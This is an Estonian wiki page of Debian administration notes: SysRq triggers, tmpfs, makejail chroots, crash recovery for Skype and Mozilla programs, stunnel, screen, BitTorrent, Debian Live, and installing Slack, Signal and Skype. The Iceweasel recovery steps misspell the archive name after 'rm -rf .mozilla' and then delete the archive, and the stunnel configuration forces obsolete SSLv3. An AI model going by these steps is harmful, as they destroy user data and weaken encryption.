Kui aga arvutis ollakse eemal ning mingil põhjusel on siiski võimalik talle käske anda, kuigi ta käitub piisavalt juhtimatult, et selleks ettenähtud vahenditega rebooti teha, nt 'shutdown -r now', siis saab samasid tegevusi esile kutsuda selliselt&lt;br /&gt;
&lt;br /&gt;
 bash# echo s &amp;gt; /proc/sysrq-trigger&lt;br /&gt;
 bash# echo u &amp;gt; /proc/sysrq-trigger&lt;br /&gt;
 bash# echo b &amp;gt; /proc/sysrq-trigger&lt;br /&gt;
&lt;br /&gt;
Ammendav loetelu võimalikest sisenditest on kirjas tuuma lähtetekstide kataloogis vist failis Documentation/kernel-parameters.txt.&lt;br /&gt;
&lt;br /&gt;
====Xen konsoolilt====&lt;br /&gt;
&lt;br /&gt;
Xeni konsoolilt saab saata SysRq signaale valides&lt;br /&gt;
&lt;br /&gt;
  Ctrl+O ja täht&lt;br /&gt;
&lt;br /&gt;
h väljastab nimekirja toetatud signaalidest&lt;br /&gt;
&lt;br /&gt;
  SysRq : HELP : loglevel0-8 reBoot tErm Full kIll saK aLlcpus\&lt;br /&gt;
    showMem Nice powerOff showPc show-all-timers(Q) unRaw Sync showTasks \&lt;br /&gt;
    Unmount shoW-blocked-tasks &lt;br /&gt;
&lt;br /&gt;
====Serial konsoolilt====&lt;br /&gt;
&lt;br /&gt;
Serial konsoolilt saab tuumale SysRq signaali saata valides Break + täht.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===RAM failisüsteemid===&lt;br /&gt;
&lt;br /&gt;
RAM failisüsteem võimaldab kasutada arvuti virtuaalmälu st RAM + swap ressursse failisüsteemina, nt sellised tehnikad&lt;br /&gt;
&lt;br /&gt;
* tmpfs - tundub, et 2016 aasta seisuga on see üldiselt soovitatav ram failisüsteem, mõnes kohas kirjandus väidab, et tmpfs ei võimalda failisüsteemi suurust piirata, paistab, et see siiski ei ole nii&lt;br /&gt;
* ramfs - legacy ramfs, 2016 aasta seisuga üldiselt ei soovitata kasutada&lt;br /&gt;
&lt;br /&gt;
====tmpfs====&lt;br /&gt;
&lt;br /&gt;
tmpfs võimaldab kasutada arvuti virtuaalmälu st RAM + swap ressursse failisüsteemina. Kasutamine toimub selliselt&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/tmpfs&lt;br /&gt;
 # mount -t tmpfs -o size=48g tmpfs /mnt/tmpfs&lt;br /&gt;
&lt;br /&gt;
Kuna failisüsteem asub mälus, siis ta töötab kiiresti&lt;br /&gt;
&lt;br /&gt;
 # dd if=/dev/zero of=/mnt/tmpfs/1G bs=1M count=1024&lt;br /&gt;
 1024+0 records in&lt;br /&gt;
 1024+0 records out&lt;br /&gt;
 1073741824 bytes (1.1 GB) copied, 0.981817 s, 1.1 GB/s&lt;br /&gt;
&lt;br /&gt;
Traditsiooniline tmpfs ühenduspunkt tmpfs jaoks on /dev/shm mis on ka vaikimisi Debian Lenny puhul kasutuses&lt;br /&gt;
&lt;br /&gt;
 # df -h&lt;br /&gt;
 Filesystem               Size  Used Avail Use% Mounted on&lt;br /&gt;
 /dev/mapper/system-root  4.0G  3.6G  236M  94% /&lt;br /&gt;
 tmpfs                    3.9G     0  3.9G   0% /lib/init/rw&lt;br /&gt;
 udev                      10M   60K   10M   1% /dev&lt;br /&gt;
 tmpfs                    3.9G  4.0K  3.9G   1% /dev/shm&lt;br /&gt;
 /dev/sda1                107M   82M   20M  81% /boot&lt;br /&gt;
&lt;br /&gt;
Süsteemi poolt vaikimisi kasutatavate tmpfs failisüsteemides on nt selline sisu&lt;br /&gt;
&lt;br /&gt;
 # find /dev/shm -ls&lt;br /&gt;
 5812    0 drwxrwxrwt   3 root     root           60 Jul 19 08:25 /dev/shm/&lt;br /&gt;
 5964    0 drwxr-xr-x   2 root     root           60 Jul 19 08:25 /dev/shm/network&lt;br /&gt;
 6019    4 -rw-r--r--   1 root     root           16 Jul 19 08:25 /dev/shm/network/ifstate&lt;br /&gt;
&lt;br /&gt;
ja &lt;br /&gt;
&lt;br /&gt;
 # find /lib/init/rw&lt;br /&gt;
 /lib/init/rw&lt;br /&gt;
 /lib/init/rw/sendsigs.omit.d&lt;br /&gt;
 /lib/init/rw/sendsigs.omit.d/portmap&lt;br /&gt;
 /lib/init/rw/.ramfs&lt;br /&gt;
&lt;br /&gt;
Lisaks on /dev failisüsteem udev kasutamisel tmpfs peal, üldiselt sobib konkreetse süsteemi puhul küsida&lt;br /&gt;
&lt;br /&gt;
 # mount | grep tmpfs&lt;br /&gt;
&lt;br /&gt;
====ramfs====&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/ramfs&lt;br /&gt;
 # mount -t ramfs -o size=200m ramfs /mnt/ramfs&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://www.jamescoyle.net/knowledge/951-the-difference-between-a-tmpfs-and-ramfs-ram-disk&lt;br /&gt;
&lt;br /&gt;
===makejail abil chroot keskkonna moodustamine===&lt;br /&gt;
&lt;br /&gt;
Makejail programm abil saab moodustada chroot keskkonda, paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install makejail&lt;br /&gt;
&lt;br /&gt;
Programmi tööd juhib seadistusfail, nt /root/makejail-bash.py, kus on antud juhul näidatud&lt;br /&gt;
&lt;br /&gt;
* kuhu kataloogi moodustada chroot keskkond&lt;br /&gt;
* lisada sinna /bin/bash shell ning vastavad teegid lisada (antud juhul kasutatakse AMD64 platvormi)&lt;br /&gt;
&lt;br /&gt;
 # cat /root/makejail-bash.py&lt;br /&gt;
 chroot=&amp;quot;/home/mart&amp;quot;&lt;br /&gt;
 forceCopy=[&amp;quot;/lib64/ld-linux-x86-64.so.2&amp;quot;, &amp;quot;/bin/bash&amp;quot;,&amp;quot;/lib/ld-linux-x86-64.so.2&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
moodustame kataloogi /home/mart&lt;br /&gt;
&lt;br /&gt;
 bash# mkdir /home/mart&lt;br /&gt;
&lt;br /&gt;
ning moodustame sinna alla chroot keskkonna&lt;br /&gt;
&lt;br /&gt;
 bash# makejail /root/makejail-bash.py&lt;br /&gt;
 Loading configuration file /root/makejail.py&lt;br /&gt;
   Defining chroot = '/home/mart'&lt;br /&gt;
   Defining forceCopy = ['/bin/bash']&lt;br /&gt;
 Chroot directory is /home/mart&lt;br /&gt;
 Initializing list of running processes&lt;br /&gt;
   Executing : ps -e&lt;br /&gt;
 Creating temp dir /tmp/makejail_logs&lt;br /&gt;
 Adding files matching '/bin/bash'&lt;br /&gt;
   Checking path '/bin/bash'&lt;br /&gt;
      Dir '/home/mart/bin' missing&lt;br /&gt;
      Checking path '/bin'&lt;br /&gt;
         Making dir /home/mart/bin&lt;br /&gt;
  ..&lt;br /&gt;
   Creating 'lib/libncurses.so.5' as a symlink to 'libncurses.so.5.5' (pwd=/home/mart/lib)&lt;br /&gt;
   Executing : file /lib/libncurses.so.5&lt;br /&gt;
 Sleeping for 2.00 seconds&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib selline failistruktuur&lt;br /&gt;
&lt;br /&gt;
 bash# cd /home&lt;br /&gt;
 bash# find mart -ls&lt;br /&gt;
 507962    4 drwxr-xr-x   4 root     root         4096 Sep  9 15:12 mart&lt;br /&gt;
 507963    4 drwxr-xr-x   2 root     root         4096 Sep  9 15:12 mart/lib&lt;br /&gt;
 507968 1260 -rwxr-xr-x   1 root     root      1286104 May 15 13:19 mart/lib/libc-2.3.6.so&lt;br /&gt;
 507972    0 lrwxrwxrwx   1 root     root           17 Sep  9 15:12 mart/lib/libncurses.so.5 -&amp;gt; libncurses.so.5.5&lt;br /&gt;
 507973  100 -rwxr-xr-x   1 root     root        97928 May 15 13:19 mart/lib/ld-2.3.6.so&lt;br /&gt;
 507967  368 -rw-r--r--   1 root     root       369728 Oct 19  2006 mart/lib/libncurses.so.5.5&lt;br /&gt;
 507974    0 lrwxrwxrwx   1 root     root           11 Sep  9 15:12 mart/lib/ld-linux-x86-64.so.2 -&amp;gt; ld-2.3.6.so&lt;br /&gt;
 507970   12 -rw-r--r--   1 root     root        10392 May 15 13:19 mart/lib/libdl-2.3.6.so&lt;br /&gt;
 507971    0 lrwxrwxrwx   1 root     root           14 Sep  9 15:12 mart/lib/libdl.so.2 -&amp;gt; libdl-2.3.6.so&lt;br /&gt;
 507969    0 lrwxrwxrwx   1 root     root           13 Sep  9 15:12 mart/lib/libc.so.6 -&amp;gt; libc-2.3.6.so&lt;br /&gt;
 507964    0 lrwxrwxrwx   1 root     root            4 Sep  9 15:12 mart/lib64 -&amp;gt; /lib&lt;br /&gt;
 507965    4 drwxr-xr-x   2 root     root         4096 Sep  9 15:12 mart/bin&lt;br /&gt;
 507966  756 -rwxr-xr-x   1 root     root       769368 Dec 11  2006 mart/bin/bash&lt;br /&gt;
&lt;br /&gt;
Selleks, et veenduda kas kasutaja chroot keskkonna tekitamine õnnestus tuleb öelda, mille vastuseks saab shelli (ja siis öelda exit)&lt;br /&gt;
&lt;br /&gt;
 bash# chroot /home/mart&lt;br /&gt;
 bash# &lt;br /&gt;
&lt;br /&gt;
Nt sobib makejaili kasutada OpenSSH kasutajate chrootimisel.&lt;br /&gt;
&lt;br /&gt;
Seda, kas protsess töötab chroot keskkonnas saab kontrollida nt küsides vastava pid kohta, kuis link on mitte / kataloogile, siis on protsess näidatud kataloogi chroot'itud&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /proc/11091/root&lt;br /&gt;
 lrwxrwxrwx 1 root root 0 Feb  2 22:39 /proc/11091/root -&amp;gt; /home/mart&lt;br /&gt;
&lt;br /&gt;
===Peale crashi Debiani käima-aitamine===&lt;br /&gt;
&lt;br /&gt;
Kui Debiani süsteem on crashinud, nt voolu kadumise tõttu, siis enamasti ext3 failisüsteem korrigeerib ennast ise, aga mõned rakendused on segaduses.&lt;br /&gt;
&lt;br /&gt;
====Skype====&lt;br /&gt;
&lt;br /&gt;
Skype teatab vahel, et 'Another Skype instance may exist', sel puhul ei pruugi aitada lock failide eemaldamine&lt;br /&gt;
&lt;br /&gt;
  $ rm .Skype/shared.lck .Skype/martkask/config.lck&lt;br /&gt;
&lt;br /&gt;
aga võib aitada selline järgnevus&lt;br /&gt;
&lt;br /&gt;
* käivitada Skype -dhpath võtmega ja logida korra sisse ning sulgeda programm (Quit), st nii, et protsess skype kaob&lt;br /&gt;
&lt;br /&gt;
  $ skype --dbpath=/home/mart/skype-tmp&lt;br /&gt;
&lt;br /&gt;
* selleks, et chat history jms säiliks, kopeerida vana sisuga üle kontole vastava kastaloogi sisu&lt;br /&gt;
&lt;br /&gt;
  $ rsync -avH /home/mart/.Skype/martkask/ /home/mart/skype-tmp/martkask&lt;br /&gt;
  $ mv /home/mart/.Skype /home/mart/.Skype-20090811-mittetootav&lt;br /&gt;
  $ mv /home/mart/skype-tmp /home/mart/.Skype&lt;br /&gt;
&lt;br /&gt;
* katsuda kasutada Skype'i edasi tavapärasel moel&lt;br /&gt;
&lt;br /&gt;
====Icedove====&lt;br /&gt;
&lt;br /&gt;
Programm ütleb käivitamisel, et '...', aitab kustutada failid&lt;br /&gt;
&lt;br /&gt;
  $ rm /home/mart/.mozilla-thunderbird/r4t56nog.default/.parentlock&lt;br /&gt;
  $ rm /home/mart/.mozilla-thunderbird/r4t56nog.default/lock&lt;br /&gt;
&lt;br /&gt;
ja proovida tavalisel moel edasi kasutada. Kontod jms seadistused peaksid nõnda säilima.&lt;br /&gt;
&lt;br /&gt;
====Iceweasel====&lt;br /&gt;
&lt;br /&gt;
Kui Iceweaseli kataloog .mozilla on ühendatud üle NFS'i siis on peale süsteemi crashi Iceweasel üsna katki. St *\lock\* failide eemaldamine näib mitte aitavat jne, väidetavalt on asi NFS ja Iceweaseli koostöös, tundub, et aitab korra .mozilla kataloog kokku ja lahti pakkida&lt;br /&gt;
&lt;br /&gt;
  $ tar cf .mozilla.tar .mozilla&lt;br /&gt;
  $ rm -rf .mozilla&lt;br /&gt;
  $ tar xf .morilla.tar&lt;br /&gt;
  $ rm .mozilla.tar&lt;br /&gt;
&lt;br /&gt;
===Stunnel4 kasutamine===&lt;br /&gt;
&lt;br /&gt;
Stunnel http://www.stunnel.org/ tarkvara võimaldab ühendada kokku krüptimist iseenesest mitte toetavat klienti ja krüptitud teenust, või vastupidi. Või korraldada krüptimist mitte toetava kliendi ja serveri vahel siiski krüptitud andmevahetust.&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install stunnel4&lt;br /&gt;
&lt;br /&gt;
====Stunnel4 kliendi kasutamine krüptitud teenuse poole pöördumisel====&lt;br /&gt;
&lt;br /&gt;
Seadistusfaili /etc/stunnel/stunnel.conf sobib kirjutada&lt;br /&gt;
&lt;br /&gt;
  sslVersion = SSLv3&lt;br /&gt;
  chroot = /var/lib/stunnel4/&lt;br /&gt;
  setuid = stunnel4&lt;br /&gt;
  setgid = stunnel4&lt;br /&gt;
  pid = /stunnel4.pid&lt;br /&gt;
  &lt;br /&gt;
  socket = l:TCP_NODELAY=1&lt;br /&gt;
  socket = r:TCP_NODELAY=1&lt;br /&gt;
  &lt;br /&gt;
  output = /var/log/stunnel4/stunnel.log&lt;br /&gt;
  &lt;br /&gt;
  client = yes&lt;br /&gt;
  &lt;br /&gt;
  [smtps]&lt;br /&gt;
  accept  = 127.0.0.1:46525&lt;br /&gt;
  connect = smtps.loomaaed.tartu.ee:465&lt;br /&gt;
&lt;br /&gt;
tulemusena saab pöörduda smtp kliendiga krüptimata localhost:46525 porti, mida vahendatakse smtps.loomaaed.tartu.ee 465 krüptitud pordiga.&lt;br /&gt;
&lt;br /&gt;
===Terminalihaldusprogrammi Screen kasutamine===&lt;br /&gt;
&lt;br /&gt;
screen tarkvara peab olema paigaldatud kaughallatavasse arvutisse&lt;br /&gt;
&lt;br /&gt;
  # apt-get install screen&lt;br /&gt;
&lt;br /&gt;
* screen käivitamiseks logida eemal olevasse arvutisse sisse ja öelda&lt;br /&gt;
&lt;br /&gt;
 $ screen&lt;br /&gt;
&lt;br /&gt;
* Ctrl-a, c - tekita uus aken&lt;br /&gt;
* Ctrl-a, n - liigu järgmisse aknasse&lt;br /&gt;
* Ctrl-a, d - lase screenist lahti&lt;br /&gt;
* esita nimekiri arvutis olevatest kasutaja screenidest&lt;br /&gt;
  &lt;br /&gt;
 $ screen -ls&lt;br /&gt;
 There is a screen on:&lt;br /&gt;
         2807.pts-5.pg2a     (Detached)&lt;br /&gt;
 1 Socket in /var/run/screen/S-postgres.&lt;br /&gt;
&lt;br /&gt;
* ühendu näidatud screeniga&lt;br /&gt;
&lt;br /&gt;
 $ screen -r 2807.pts-5.pg2a&lt;br /&gt;
&lt;br /&gt;
Süsteemis töötavate screenidele vastavaid protsesse näeb öeldes&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep SCREEN&lt;br /&gt;
&lt;br /&gt;
Mitmekasutajarežiimis screen kasutamiseks saavad järgmised kasutajad ühenduda külge öeldes&lt;br /&gt;
&lt;br /&gt;
 $ screen -x&lt;br /&gt;
&lt;br /&gt;
Screen logimiseks on -L võti, logi kirjutatakse faili screenlogN.log, või ^a-H.&lt;br /&gt;
&lt;br /&gt;
Kui screen on attached olekus, aga vastav terminaliaken on nö kadunud, siis resumemiseks tuleb enne force'ida detach&lt;br /&gt;
&lt;br /&gt;
 $ screen -D&lt;br /&gt;
&lt;br /&gt;
===IEEE 802.1X kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/IEEE_802.1X&lt;br /&gt;
* http://www.cesnet.cz/doc/techzpravy/2007/802.1x-wired-authentication/&lt;br /&gt;
&lt;br /&gt;
===Bittorrent===&lt;br /&gt;
&lt;br /&gt;
Bittorrent on levinud P2P  (peer-to-peer, ingl. k. osaliselt-osalisele) andmevahetusprotokoll, millele on iseloomulik, et suhtlemine leiab olulises osas aset otse osaliste endi vahel. Andmevahetusprotokoll on orienteeritud pigem suuremamahulisema andmevahetuse jaoks ning kopeeritud andmeid reeglina ei saa kasutada nö reaalajas kopeerimise käigus, vaid peale kopeerimise lõppu sobiva rakendusega. Nt kui tegu on video-materjaliga, siis saab seda videot asuda vaatama peale kopeerimise lõppu, mitte aga kopeerimise ajal.&lt;br /&gt;
&lt;br /&gt;
====Bittorrenti kliendi kasutamine andmete kopeerimiseks====&lt;br /&gt;
&lt;br /&gt;
Andmete kopeerimiseks võrgust kohalikku arvutisse on vaja teada huvipakkuva ressursi nö aadressi, mis esineb .torrent faili kujul. Nt jagatakse aadressilt http://www.debian.org/CD/torrent-cd/ edasi liikudes Debian operatsioonisüsteemi .torrent faile&lt;br /&gt;
&lt;br /&gt;
  http://cdimage.debian.org/debian-cd/5.0.3/amd64/bt-cd/debian-503-amd64-CD-1.iso.torrent&lt;br /&gt;
&lt;br /&gt;
Debian Linux sisaldab mitmeid bittorrent kliente (nt rtorrent, qbittorrent, bittorrent, bittornado jt), mis võivad erineda kõigi või mõne aspekti poolest järgnevatest&lt;br /&gt;
&lt;br /&gt;
* millises mahus on bittorrent protokoll toetatud&lt;br /&gt;
* kas programmil on graafiline, pseudo-graafiline (nn curses) või käsurea kasutajaliides&lt;br /&gt;
&lt;br /&gt;
Konkreetselt qbittorrent kasutajaliides näeb välja nt selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:bittorrent-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kust on näha&lt;br /&gt;
&lt;br /&gt;
* kopeeritakse faili debian-503-amd64-CD-1.iso&lt;br /&gt;
* DL Speed on allalaadimise kiirus ja UP Speed üleslaadimise kiirus&lt;br /&gt;
* Seeds/Leechs näitab kui paljudelt osalistelt kasutaja kopeerib ja kui paljud temalt edasi kopeerivad&lt;br /&gt;
* sakil Search saab vaikimisi qbittorrenti klienti seadistatud trackereid kasutada otsinguks ja otsingu tulemustena leitud .torrenteid kopeerida&lt;br /&gt;
&lt;br /&gt;
Kopeerimise alustamiseks tuleb valida nupp BT ning kopeerida sinna .torrent faili aadress, nt&lt;br /&gt;
&lt;br /&gt;
  http://cdimage.debian.org/debian-cd/5.0.3/amd64/bt-cd/debian-503-amd64-CD-1.iso.torrent&lt;br /&gt;
&lt;br /&gt;
====Bittorrent kliendi kasutamine andmete jagamiseks====&lt;br /&gt;
&lt;br /&gt;
Bittorrentiga on algajal kasutajal oluliselt lihtsam kopeerida andmeid endale kui pakkuda välja oma andmeid teistele kasutajatele.&lt;br /&gt;
&lt;br /&gt;
.torrenti moodustamiseks sobib öelda (programmid on paketist bittorrent) eeldusel, et on olemas fail andmed.iso&lt;br /&gt;
&lt;br /&gt;
  $ btmakemetafile.bittorrent andmed.iso http://torrent.loomaaed.tartu.ee:80/announce&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* andmed.iso - lähtematerjal, mida asutakse välja jagama&lt;br /&gt;
* http://torrent.loomaaed.tartu.ee:80/announce - trackeri aadress&lt;br /&gt;
&lt;br /&gt;
Käsu tulemusena moodustatakse vastav .torrent fail&lt;br /&gt;
&lt;br /&gt;
  andmed.iso.torrent&lt;br /&gt;
&lt;br /&gt;
ning seejärel saab seda välja jagada nt nii&lt;br /&gt;
&lt;br /&gt;
  $ btdownloadcurses.bittorrent andmed.iso.torrent&lt;br /&gt;
&lt;br /&gt;
====Kohaliku trackeri kasutamine====&lt;br /&gt;
&lt;br /&gt;
bittorrent pakett sisaldab bittorrent tracker programmi bttrack. Trackeri käivitamiseks sobib öelda lihtsamal juhul&lt;br /&gt;
&lt;br /&gt;
  # bttrack --dfile dfail.log&lt;br /&gt;
&lt;br /&gt;
mille tulemusena käivitub pordil 80 spetsiaalne http server, mis on valmis võtma vastu bittorrent klientide poolt infot andmete väljajagamise kohta ja teenindama bittorrenti kliente, kes soovivad andmeid endale kopeerida.&lt;br /&gt;
&lt;br /&gt;
Selliselt käivitatud trackerit saab kasutada nt organisatsiooni siseselt, iseasi kas sellisel kasutusel erilist praktilist väärtust on.&lt;br /&gt;
&lt;br /&gt;
====Transmission====&lt;br /&gt;
&lt;br /&gt;
Transmission tarkvaral on mitmed kasutajaliidesed, muu hulgas käsurealt kasutamise võimalus. Tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install transmission-cli&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb tekitada seadistusfail nt sellise sisuga ning moodustada näidatud kataloogid&lt;br /&gt;
&lt;br /&gt;
 $ cat ~/.config/transmission/settings.json&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;download-dir&amp;quot;: &amp;quot;/home/priit/transm&amp;quot;, &lt;br /&gt;
   &amp;quot;incomplete-dir&amp;quot;: &amp;quot;/home/priit/transm-incomplete&amp;quot;, &lt;br /&gt;
   &amp;quot;incomplete-dir-enabled&amp;quot;: true, &lt;br /&gt;
   &amp;quot;open-dialog-dir&amp;quot;: &amp;quot;/home/priit&amp;quot;, &lt;br /&gt;
   &amp;quot;recent-download-dir-1&amp;quot;: &amp;quot;/home/priit/transm&amp;quot;, &lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
kusjuures esimesel käivitamisel kirjutab sinna programm paljude muude seadistusparameetrite vaikeväärtused lisaks juurde. Käivitamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 $ /usr/bin/transmission-cli /tmp/proxmox-ve_3.1-93bf03d4-8.iso.torrent&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib fail&lt;br /&gt;
&lt;br /&gt;
 transm/proxmox-ve_3.1-93bf03d4-8.iso&lt;br /&gt;
&lt;br /&gt;
===Amule===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Debian Live===&lt;br /&gt;
&lt;br /&gt;
Debian Live projekt http://debian-live.alioth.debian.org/ tegeleb selliste vahendite ettevalmistamisega, millega kasutaja saab moodustada oma vajaduste rahuldamiseks sobivaid operatsioonisüsteemi tõmmiseid. Live keskkonnale on iseloomulik, et operatsioonisüsteem laaditakse mingilt nö mitte-kõvakettalt, vaid nt CD/DVD plaadilt, USB pulgalt või võrgust ning et sellise keskkonna kasutamine ei mõjuta arvuti lokaalse kõvaketta olekut.&lt;br /&gt;
&lt;br /&gt;
====live-helper====&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install live-helper&lt;br /&gt;
&lt;br /&gt;
Tarkvara kasutamist on kirjeldatud aadressil http://live.debian.net/manual/html/index.html.&lt;br /&gt;
&lt;br /&gt;
Nt alglaadiva usb pulga tõmmise ettevalmistamiseks sobib kasutada&lt;br /&gt;
&lt;br /&gt;
  # mkdir /usr/src/live&lt;br /&gt;
  # cd /usr/src/live&lt;br /&gt;
  # ld_config&lt;br /&gt;
  # ld_build -b usb-hdd&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib fail binary.img mida saab kopeerida nt Windows Vista keskkonnas USB pulgale programmiga http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/.&lt;br /&gt;
&lt;br /&gt;
Tulemuse katsetamiseks sobib qemu, sedasi&lt;br /&gt;
&lt;br /&gt;
  # qemu -hda binary.img&lt;br /&gt;
&lt;br /&gt;
====live-magic====&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install live-magic&lt;br /&gt;
&lt;br /&gt;
Debian Live Magic programmi käivitamiseks tuleb öelda juurkasutajana&lt;br /&gt;
&lt;br /&gt;
  # live-magic&lt;br /&gt;
&lt;br /&gt;
ning avaneb järgnev pilt&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Debian-live-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kus tuleb valida, millist Live keskkonda ettevalmistama asutakse.&lt;br /&gt;
&lt;br /&gt;
===Slack kasutamine===&lt;br /&gt;
&lt;br /&gt;
Slack https://slack.com/ paigaldamiseks sobib kopeerida .deb fail ning öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install failinimi.deb&lt;br /&gt;
&lt;br /&gt;
Paistab, et tarkvara paigaldamise käigus tekitatakse fail&lt;br /&gt;
&lt;br /&gt;
 # cat /mnt/kontdeb9/etc/apt/sources.list.d/slack.list &lt;br /&gt;
 deb https://packagecloud.io/slacktechnologies/slack/debian/ jessie main&lt;br /&gt;
&lt;br /&gt;
===Signal kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tarkvara kopeerimiseks https://signal.org/download/&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/apt/sources.list.d/signal-xenial.list &lt;br /&gt;
deb [arch=amd64] https://updates.signal.org/desktop/apt xenial main&lt;br /&gt;
&lt;br /&gt;
# curl -s https://updates.signal.org/desktop/apt/keys.asc | sudo apt-key add -&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja paigaldamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get update&lt;br /&gt;
# apt-get install signal-desktop&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Skype kasutamine===&lt;br /&gt;
&lt;br /&gt;
Aadressil http://www.skype.com/ jagatakse Skype tarkvara mitmel erineval kujul&lt;br /&gt;
&lt;br /&gt;
* 32 bit&lt;br /&gt;
* 64 bit&lt;br /&gt;
* staatiliselt lingitud&lt;br /&gt;
&lt;br /&gt;
====2017 - Skype v. 5.0 kasutamine====&lt;br /&gt;
&lt;br /&gt;
Märkus: 2017 kevadel on v. 5.0 beta, mis praktiliselt tähendab, et muidu töötab, aga chat histori otsingut pole.&lt;br /&gt;
&lt;br /&gt;
Lisada võti&lt;br /&gt;
&lt;br /&gt;
 # curl https://repo.skype.com/data/SKYPE-GPG-KEY | sudo apt-key add -&lt;br /&gt;
&lt;br /&gt;
lisada fail /etc/apt/sources.list.d/skypeforlinux.list&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/apt/sources.list.d/skypeforlinux.list&lt;br /&gt;
 deb [arch=amd64] https://repo.skype.com/deb stable main&lt;br /&gt;
&lt;br /&gt;
ja paigaldada&lt;br /&gt;
&lt;br /&gt;
 # apt-get update&lt;br /&gt;
 # apt-get install skypeforlinux&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.ubuntuupdates.org/ppa/skypeforlinux&lt;br /&gt;
&lt;br /&gt;
====pre 2017 - Skype kasutamine 64 bit keskkonnas====&lt;br /&gt;
&lt;br /&gt;
Süsteemi etteavalmistamisel tuleb paigaldada paketid ia32-libs-gtk ja libqt4-dev&lt;br /&gt;
&lt;br /&gt;
 # apt-get install ia32-libs-gtk libqt4-dev&lt;br /&gt;
&lt;br /&gt;
Seejärel skype 64 bit pakett, muus osas peaks töötama kuigi käivitamisel öeldakse&lt;br /&gt;
&lt;br /&gt;
 $ skype &lt;br /&gt;
 Gtk-Message: Failed to load module &amp;quot;canberra-gtk-module&amp;quot;: \&lt;br /&gt;
   /usr/lib/gtk-2.0/modules/libcanberra-gtk-module.so: wrong ELF class: ELFCLASS64&lt;br /&gt;
 (&amp;lt;unknown&amp;gt;:6901): Gtk-WARNING **: /usr/lib/gtk-2.0/2.10.0/engines/libglide.so: &lt;br /&gt;
   wrong ELF class: ELFCLASS64&lt;br /&gt;
&lt;br /&gt;
====Skype kasutamine Debian Wheezy multiarch keskkonnas====&lt;br /&gt;
&lt;br /&gt;
* kopeerida Skype lokaalsesse reposse - http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_paketihalduse_kasutamine#Privaatse_failis.C3.BCsteemi_repositooriumi_kasutamine&lt;br /&gt;
* lisada süsteemile i386 arhitektuur - http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_kasutamine#Multiarch_kasutamine&lt;br /&gt;
* paigaldada skype&lt;br /&gt;
&lt;br /&gt;
 # apt-get install skype:i386&lt;br /&gt;
&lt;br /&gt;
====Skype v. 8.x kasutamine====&lt;br /&gt;
&lt;br /&gt;
Kui järgmine v. 8.y versioon ei sobi, siis saab eelmise x. 8.x paigaldada nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # apt-get install skypeforlinux=8.11.0.4&lt;br /&gt;
&lt;br /&gt;
Nimekiri variantidest on näha aadressil https://repo.skype.com/deb/pool/main/s/skypeforlinux/&lt;br /&gt;
&lt;br /&gt;
====Skyperious====&lt;br /&gt;
&lt;br /&gt;
Head inimesed on programmeerinud Python keeles tarkvara Skyperious http://suurjaak.github.io/Skyperious/index.html, mille abil saab Skype andmebaaside sisu, st praktiliselt jutuajamist ajalugu, uurida ilma Skype programmi enda, võrguühenduse jms olemasoluta. Tundub, et programm kasutab asjaolu, et vastav andmebaas on praktiliselt SQLite andmebaas. Praktiliselt võib see olla abiks kui Skype versiooni uuendamisel ei õnnestu chat history sisu uude versiooni kaasa võtta, nt v. 4.2 -&amp;gt; 4.3 uuendamisel Linux all. Skyperiuos kasutajaliides paistab selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Skyperious-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamist kirjeldatakse aadressil https://github.com/suurjaak/Skyperious. Lühidalt tuleb Debian Jessie all öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install wx2.8-i18n libwxgtk2.8-dev libgtk2.0-dev&lt;br /&gt;
